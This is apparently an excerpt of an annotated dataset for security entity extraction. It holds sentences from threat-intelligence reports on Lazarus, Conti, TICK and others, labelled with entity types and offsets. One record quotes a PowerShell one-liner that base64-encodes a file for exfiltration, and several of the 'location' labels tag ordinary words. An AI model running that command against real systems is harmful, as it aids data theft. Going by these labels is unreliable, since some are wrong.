T1401","entities":[{"id":28935,"label":"SHA1","start_offset":60,"end_offset":124},{"id":28936,"label":"SHA1","start_offset":170,"end_offset":234},{"id":28937,"label":"SHA2","start_offset":276,"end_offset":340},{"id":28938,"label":"SHA2","start_offset":361,"end_offset":425},{"id":28940,"label":"SHA1","start_offset":459,"end_offset":523},{"id":28941,"label":"MD5","start_offset":562,"end_offset":626},{"id":28942,"label":"attack-pattern","start_offset":759,"end_offset":767},{"id":28943,"label":"URL","start_offset":776,"end_offset":799},{"id":28944,"label":"location","start_offset":953,"end_offset":957},{"id":28945,"label":"attack-pattern","start_offset":974,"end_offset":1026}],"relations":[],"Comments":[]}
{"id":4457,"text":"We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.","entities":[{"id":50233,"label":"identity","start_offset":61,"end_offset":67},{"id":50234,"label":"identity","start_offset":79,"end_offset":91},{"id":50235,"label":"identity","start_offset":129,"end_offset":135}],"relations":[],"Comments":[]}
{"id":9872,"text":"For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, \u201cOperation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data\u201d.           Tags  Malware | APT & Targeted Attacks | Endpoints | Research |","entities":[{"id":30096,"label":"location","start_offset":95,"end_offset":98},{"id":30097,"label":"location","start_offset":148,"end_offset":156},{"id":30098,"label":"threat-actor","start_offset":208,"end_offset":212},{"id":30099,"label":"location","start_offset":262,"end_offset":265},{"id":30100,"label":"location","start_offset":319,"end_offset":322}],"relations":[],"Comments":[]}
{"id":5120,"text":"So there is an overwhelming amount of sort of information or misinformation.","entities":[],"relations":[],"Comments":[]}
{"id":1224,"text":"More specifically, the code was separated into two parts.","entities":[],"relations":[],"Comments":[]}
{"id":1935,"text":"We\u2019ve summarized all the mentioned findings in the table below.","entities":[],"relations":[],"Comments":[]}
{"id":9060,"text":"While we do not have any knowledge of who the actual Lazarus attackers are, the data collected from the backend systems gives us some insights into the internet usage patterns of systems likely owned by Lazarus group members.","entities":[{"id":27976,"label":"malware","start_offset":53,"end_offset":60},{"id":27977,"label":"location","start_offset":71,"end_offset":74},{"id":27978,"label":"location","start_offset":187,"end_offset":193}],"relations":[],"Comments":[]}
{"id":539,"text":"Since ransomware threat actors have had years to evolve their techniques, there are now several different ways for attackers to receive payments and provide the \"service\" they claim to offer.","entities":[],"relations":[],"Comments":[]}
{"id":14389,"text":"Endpoint security needs to step outside the endpoint silo to keep step with advanced attackers.","entities":[],"relations":[],"Comments":[]}
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{"id":11945,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.","entities":[],"relations":[],"Comments":[]}
{"id":13099,"text":" As an associate member of the consortium, Trend Micro will now be able to participate in technical and strategic projects and help to shape the ROS-I roadmap.","entities":[],"relations":[],"Comments":[]}
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{"id":14381,"text":"EDR is an example of how stealthy or evasive attackers can be better uncovered than with traditional endpoint protection.","entities":[],"relations":[],"Comments":[]}
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{"id":4630,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims\u2019 inboxes using previously acquired credentials.","entities":[{"id":50549,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]}
{"id":3215,"text":"An old sample of the module (30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7) is likely a watchdog to check the status of another module that is known as \u201cc1222\u201d.  The malicious actors can change this behavior by replacing the content of the cdaemon.txt service in the cloud so that when combined with the regular execution of the scheduled task, the cdaemon task can behave like a backdoor.","entities":[{"id":48338,"label":"malware","start_offset":172,"end_offset":177},{"id":48339,"label":"FILEPATH","start_offset":259,"end_offset":270},{"id":9814,"label":"SHA2","start_offset":29,"end_offset":93},{"id":9821,"label":"attack-pattern","start_offset":348,"end_offset":362}],"relations":[{"id":407,"from_id":9814,"to_id":48338,"type":"related-to"}],"Comments":[]}
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{"id":616,"text":" In the end, while Hancitor may not be sophisticated, these steps to adapt and stay effective seem to be succeeding.","entities":[{"id":46212,"label":"malware","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
{"id":10281,"text":", the attacker can exfiltrate data\/documents using the following commands:  powershell -command \"[Convert]::ToBase64String([IO.File]::ReadAllBytes('{filename}')       Figure 11.","entities":[{"id":31401,"label":"location","start_offset":15,"end_offset":18},{"id":31402,"label":"attack-pattern","start_offset":76,"end_offset":86}],"relations":[],"Comments":[]}
{"id":2543,"text":" Palo Alto Networks detects and prevents Conti ransomware in the following ways:  Additionally, Indicators of Compromise (IoCs) associated with Conti are available on GitHub, and have been published to the Unit 42 TAXII feed.","entities":[{"id":47735,"label":"threat-actor","start_offset":41,"end_offset":46},{"id":47734,"label":"identity","start_offset":1,"end_offset":19},{"id":47737,"label":"SOFTWARE","start_offset":167,"end_offset":173},{"id":47738,"label":"SOFTWARE","start_offset":206,"end_offset":213},{"id":47736,"label":"threat-actor","start_offset":144,"end_offset":149}],"relations":[],"Comments":[]}
{"id":3217,"text":"The content of the cdaemon.txt backdoor     The c1222 module","entities":[{"id":48341,"label":"malware","start_offset":48,"end_offset":53},{"id":48340,"label":"FILEPATH","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]}
{"id":10886,"text":"Take, for example, the following sample:  48f67be806b4e823280f03ee5512ffd58deb6f37ecc80842265d4e8d2ca30055.","entities":[{"id":33145,"label":"location","start_offset":33,"end_offset":39},{"id":33146,"label":"SHA2","start_offset":42,"end_offset":106}],"relations":[],"Comments":[]}
{"id":13585,"text":"The name of the web shell file is hardcoded to be either \u201cec_ver.php,\u201d \u201clog3.php,\u201d or \u201ctemp.php.\u201d","entities":[{"id":51670,"label":"FILEPATH","start_offset":58,"end_offset":69},{"id":51671,"label":"FILEPATH","start_offset":72,"end_offset":80},{"id":51672,"label":"FILEPATH","start_offset":87,"end_offset":95},{"id":42348,"label":"attack-pattern","start_offset":16,"end_offset":25}],"relations":[{"id":1127,"from_id":42348,"to_id":51670,"type":"related-to"},{"id":1128,"from_id":42348,"to_id":51671,"type":"related-to"},{"id":1129,"from_id":42348,"to_id":51672,"type":"related-to"}],"Comments":[]}
{"id":9639,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
{"id":4057,"text":"Decrypted C&C configuration     ","entities":[],"relations":[],"Comments":[]}
{"id":1048,"text":"This new vulnerability does NOT affect Android 8.0 Oreo, the latest version; but it does affect all prior versions of Android.","entities":[{"id":46539,"label":"SOFTWARE","start_offset":39,"end_offset":55},{"id":46540,"label":"SOFTWARE","start_offset":118,"end_offset":124}],"relations":[],"Comments":[]}